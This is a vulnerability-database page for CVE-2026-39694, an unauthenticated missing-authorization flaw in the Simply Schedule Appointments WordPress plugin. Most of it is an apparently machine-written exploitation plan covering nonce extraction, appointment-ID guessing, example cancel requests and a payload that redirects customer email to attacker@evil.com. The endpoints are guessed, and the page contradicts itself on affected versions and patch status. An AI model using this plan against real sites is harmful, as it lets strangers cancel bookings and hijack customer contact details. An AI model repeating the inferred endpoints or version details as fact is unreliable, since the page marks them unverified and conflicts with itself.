CVE-2026-39694

Simply Schedule Appointments <= 1.6.11.0 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
1.6.11.1
Patched in
69d
Time to patch

Description

The Simply Schedule Appointments plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.6.11.0. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.6.11.0
PublishedFebruary 26, 2026
Last updatedMay 5, 2026

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-39694 ## 1. Vulnerability Summary The **Simply Schedule Appointments** plugin (<= 1.6.10.4) is vulnerable to **Missing Authorization**. The vulnerability exists in one of the plugin's AJAX or REST API handlers (likely related to appointment management) that fa…

Show full research plan

Exploitation Research Plan: CVE-2026-39694

1. Vulnerability Summary

The Simply Schedule Appointments plugin (<= 1.6.10.4) is vulnerable to Missing Authorization. The vulnerability exists in one of the plugin's AJAX or REST API handlers (likely related to appointment management) that fails to verify the user's identity or capabilities before performing a state-changing action. This allows an unauthenticated attacker to perform actions that should be restricted, such as canceling appointments, modifying customer details, or potentially tampering with scheduling settings.

2. Attack Vector Analysis

  • Target Endpoint: WordPress REST API or AJAX.
    • REST Route (Inferred): /wp-json/ssa/v1/appointments/<id>
    • AJAX Action (Inferred): ssa_cancel_appointment or ssa_update_appointment
  • HTTP Method: POST or DELETE
  • Authentication: Unauthenticated (nopriv).
  • Parameter: appointment_id (The ID of the appointment to target).
  • Preconditions: The plugin must be active and at least one appointment must exist in the system (or the attacker must know/guess a valid appointment ID).

3. Code Flow (Inferred)

  1. The plugin registers REST routes or AJAX handlers during init or rest_api_init.
  2. A handler (e.g., cancel_appointment in a REST controller or AJAX class) is defined.
  3. The handler is registered with permission_callback => '__return_true' or lacks a current_user_can() check entirely.
  4. The function takes an appointment_id from the request.
  5. It calls a business logic function (e.g., SSA_Appointments::cancel()) to update the database.
  6. Since there is no verification that the current user owns the appointment or has administrative rights, the action succeeds for any valid ID.

4. Nonce Acquisition Strategy

Simply Schedule Appointments frequently uses the WordPress REST API or custom AJAX. To perform unauthenticated requests that require a nonce (if the wp_rest nonce is checked), we can extract it from the frontend where the booking calendar is rendered.

  1. Identify Shortcode: The plugin's primary shortcode is [ssa_booking].
  2. Create Test Page:
    wp post create --post_type=page --post_title="Booking Test" --post_status=publish --post_content='[ssa_booking]'
    
  3. Navigate and Extract: Use browser_navigate to the new page.
  4. JavaScript Extraction: The plugin localizes data into a JavaScript object. Based on common SSA versions, we will look for ssa_booking_settings or ssa_booking_data.
    • Variable Name: window.ssa_booking_settings (inferred)
    • Nonce Key: nonce or rest_nonce
    • Command: browser_eval("window.ssa_booking_settings?.rest_nonce || window.ssa_booking_data?.nonce")

5. Exploitation Strategy

We will attempt to cancel an appointment as an unauthenticated user using the REST API.

Step 1: Discover Appointment IDs

If no IDs are known, we can attempt to list them (if the listing endpoint is also unauthorized) or guess a low integer ID.

Step 2: Send Cancel Request

  • Endpoint: /wp-json/ssa/v1/appointments/<ID>/cancel (or similar POST endpoint)
  • Method: POST
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Payload: {} (Parameters may be in the URL)

Example Request:

POST /wp-json/ssa/v1/appointments/123/cancel HTTP/1.1
Host: target.local
Content-Type: application/json
X-WP-Nonce: a1b2c3d4e5

{}

6. Test Data Setup

  1. Install Plugin: Ensure simply-schedule-appointments is installed and active.
  2. Create Appointment Type:
    • Use WP-CLI to create an appointment type if possible, or navigate to the SSA admin dashboard and create a "Consultation" type.
  3. Create a Target Appointment:
    • Submit an appointment via the frontend as a "Victim" user (this creates the ID we will target).
    • Note the Appointment ID from the database: wp db query "SELECT id FROM wp_ssa_appointments LIMIT 1;"

7. Expected Results

  • Success Response: A 200 OK or 204 No Content response, often returning a JSON object indicating the status is now "cancelled".
  • Impact: The appointment status in the database changes from scheduled or pending to cancelled without the attacker ever logging in or providing a private "cancellation hash".

8. Verification Steps

  1. Check the database state using WP-CLI:
    wp db query "SELECT status FROM wp_ssa_appointments WHERE id = <TARGET_ID>;"
    
  2. Confirm the status is cancelled.
  3. Check the plugin's internal logs (if enabled) to see if the action was logged as performed by an anonymous user.

9. Alternative Approaches

If the REST API is properly protected, the vulnerability may reside in the legacy AJAX handlers:

  • Action: ssa_cancel_appointment
  • Endpoint: /wp-admin/admin-ajax.php
  • Payload: action=ssa_cancel_appointment&appointment_id=<ID>&nonce=[NONCE]

If simple ID-based cancellation is patched, check if the "Customer Update" endpoint allows changing the email or name of an existing appointment without authorization:

  • Endpoint: /wp-json/ssa/v1/customers/<ID>
  • Method: POST
  • Payload: {"email": "attacker@evil.com"} (Changing the notification email allows an attacker to take over subsequent communication).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Simply Schedule Appointments plugin for WordPress (versions up to and including 1.6.10.4) is vulnerable to unauthorized access due to missing capability checks on its REST API or AJAX handlers. This allows unauthenticated attackers to perform sensitive actions, such as canceling appointments or modifying customer data, by interacting with vulnerable endpoints that fail to verify the requester's identity or permissions.

Exploit Outline

1. Identify a valid appointment ID to target (e.g., through enumeration or discovery). 2. Extract a valid REST API nonce from a public page where the [ssa_booking] shortcode is present; the nonce is typically located within the 'ssa_booking_settings' or 'ssa_booking_data' JavaScript object in the page source. 3. Send an unauthenticated HTTP POST request to the vulnerable REST endpoint, such as '/wp-json/ssa/v1/appointments/<ID>/cancel', or an AJAX request to 'admin-ajax.php' using the 'ssa_cancel_appointment' action. 4. Include the retrieved nonce in the request headers (e.g., 'X-WP-Nonce') or payload to satisfy the nonce check. 5. The plugin executes the request without checking for administrative capabilities or ownership, resulting in the unauthorized modification or cancellation of the appointment.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.